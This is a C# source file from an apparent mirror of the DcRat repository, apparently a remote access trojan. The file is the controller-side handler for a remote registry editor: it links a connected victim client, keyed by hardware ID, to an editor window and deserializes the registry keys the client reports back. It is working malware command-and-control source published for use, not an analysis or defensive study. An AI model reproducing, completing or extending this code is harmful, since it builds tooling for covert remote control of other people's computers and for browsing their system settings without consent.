mirror of https://github.com/qwqdanchun/DcRat.git
77 lines
2.9 KiB
C#
77 lines
2.9 KiB
C#
using ProtoBuf;
|
|
using Server.Connection;
|
|
using Server.Forms;
|
|
using Server.Helper;
|
|
using Server.MessagePack;
|
|
using System;
|
|
using System.Collections.Generic;
|
|
using System.IO;
|
|
using System.Linq;
|
|
using System.Runtime.Serialization.Formatters.Binary;
|
|
using System.Text;
|
|
using System.Threading.Tasks;
|
|
using System.Windows.Forms;
|
|
using static Server.Helper.RegistrySeeker;
|
|
|
|
namespace Server.Handle_Packet
|
|
{
|
|
class HandleRegManager
|
|
{
|
|
public async void RegManager(Clients client, MsgPack unpack_msgpack)
|
|
{
|
|
try
|
|
{
|
|
switch (unpack_msgpack.ForcePathObject("Command").AsString)
|
|
{
|
|
case "setClient":
|
|
{
|
|
FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
|
|
if (FM != null)
|
|
{
|
|
if (FM.Client == null)
|
|
{
|
|
client.ID = unpack_msgpack.ForcePathObject("Hwid").AsString;
|
|
FM.Client = client;
|
|
FM.timer1.Enabled = true;
|
|
}
|
|
}
|
|
break;
|
|
}
|
|
case "LoadKey":
|
|
{
|
|
FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
|
|
if (FM != null)
|
|
{
|
|
string rootKey = unpack_msgpack.ForcePathObject("RootKey").AsString;
|
|
byte[] Matchesbyte = unpack_msgpack.ForcePathObject("Matches").GetAsBytes();
|
|
|
|
//BinaryFormatter formatter = new BinaryFormatter();
|
|
//MemoryStream mStream = new MemoryStream();
|
|
//mStream.Write(Matchesbyte, 0, Matchesbyte.Length);
|
|
//mStream.Flush();
|
|
//mStream.Seek(0, SeekOrigin.Begin);
|
|
|
|
|
|
//RegistrySeeker seeker;
|
|
//seeker = DeSerialize(Matchesbyte);
|
|
FM.AddKeys(rootKey, DeSerialize(Matchesbyte));
|
|
}
|
|
break;
|
|
}
|
|
|
|
}
|
|
}
|
|
catch { }
|
|
}
|
|
|
|
public static RegSeekerMatch[] DeSerialize(byte[] bytes)
|
|
{
|
|
using (MemoryStream ms = new MemoryStream(bytes))
|
|
{
|
|
RegSeekerMatch[] Matches = Serializer.Deserialize<RegSeekerMatch[]>(ms);
|
|
return Matches;
|
|
}
|
|
}
|
|
}
|
|
}
|